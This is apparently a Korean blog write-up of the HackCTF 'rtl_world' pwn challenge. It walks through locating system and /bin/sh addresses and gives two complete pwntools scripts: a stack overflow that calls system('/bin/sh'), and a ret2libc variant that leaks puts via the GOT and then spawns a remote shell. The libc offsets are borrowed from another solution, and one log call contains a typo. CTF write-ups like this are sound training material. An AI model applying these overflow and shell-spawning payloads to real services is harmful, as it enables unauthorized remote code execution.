Hacking/write-up

(HackCTF)rtl_world

JINJIN123 2020. 9. 6. 21:39

rtl_world 문제풀이

ida로 코드 확인

main함수를 보시면 system 과 /bin/sh 문자열이 당연 눈에 띄네요. 

 

-system 함수 주소 찾는 방법 2가지

 

1. ida로 찾기

2. gdb peda 에서 info func 

- /bin/sh 문자열 찾는 방법 3가지

1. main을 보고 /bin/sh 문자열 위치 파악해서 gdb 에서 찾는다.

 2. pwtools 이용

e=ELF('./rtl_world')
binsh=e.search('/bin/sh').next()

 

3. objdump -s rtl_world| grep /bin/sh (사용불가. 다른 값이 나와요.)

system_plt=0x080485b0

binsh=0x8048ea8

라이브러리가 아닌 파일 자체에서 /bin/sh 문자열이 소환되어 그 주소를 얻은 것이므로 항상 일정합니다. pie 보호기법이 안 걸려 있으니깐요!

 

++   objdump -s rtl_world| grep /bin/sh  이 명령어로 찾은 문자열 주소는 안되길래 pwntools에서 search를 이용하였습니다.

#-*-coding:utf-8-*-
from pwn import *
p=remote('ctf.j0n9hyun.xyz',3010)
e=ELF('./rtl_world')
binsh=e.search('/bin/sh').next()
system=0x080485b0 #plt주소


 
p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil('[Attack] > ')
payload='a'*(0x90)
payload+=p32(system)
payload+='aaaa'
payload+=p32(binsh)
 
p.sendline(payload)
p.interactive()

 

rtl기법으로도 코드를 짜봤습니다.

#-*-coding:utf-8-*-
from pwn import *
p=remote('ctf.j0n9hyun.xyz',3010)
e=ELF('./rtl_world')
l=e.libc
 
puts_plt=0x80485a0
puts_got=0x804b01c
main=0x08048983
binsh_offset=0x15ba0b
puts_offset = 0x5fca0
system_offset = 0x3ada0
pr=0x8048545
 
p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil('[Attack] > ')
payload='a'*(0x90)
payload+=p32(puts_plt)
payload+=p32(pr)
payload+=p32(puts_got)
payload+=p32(main)
p.sendline(payload)
 
puts_addr=u32(p.recv(4))
libc=puts_addr-puts_offset
system=libc+system_offset
binsh=libc+binsh_offset
log.succsee('puts_addr='+hex(puts_addr))
log.success('system_addr='+hex(system))
log.success('binsh_addr='+hex(binsh))
 
p.recvuntil('>>> ')
p.sendline('5')
p.recvuntil('[Attack] > ')
payload='a'*(0x90)
payload+=p32(system)
payload+='aaaa'
payload+=p32(binsh)
 
p.sendline(payload)
p.interactive()

저는 offset이나 got주소 plt주소를 위 코드와 같이 일일이 구해서 적지 않고 l.sym['puts'] , e.plt['puts']이렇게 구하는데

제 우분투에서는 rtl_world 파일내에 라이브러리가 제대로 작동을 안하더라구요. 

이 라이브러리가 없어서 인가 해서 깔아봤는데도 안되네요. 그래서 offset은 다른 분 풀이를 참조하였습니다. 제가 다 못 풀어서 아쉬움이 남는 문제였습니다.


의문점

+ 왜 objdump로 구한 binsh 주소로는 왜 다른거지?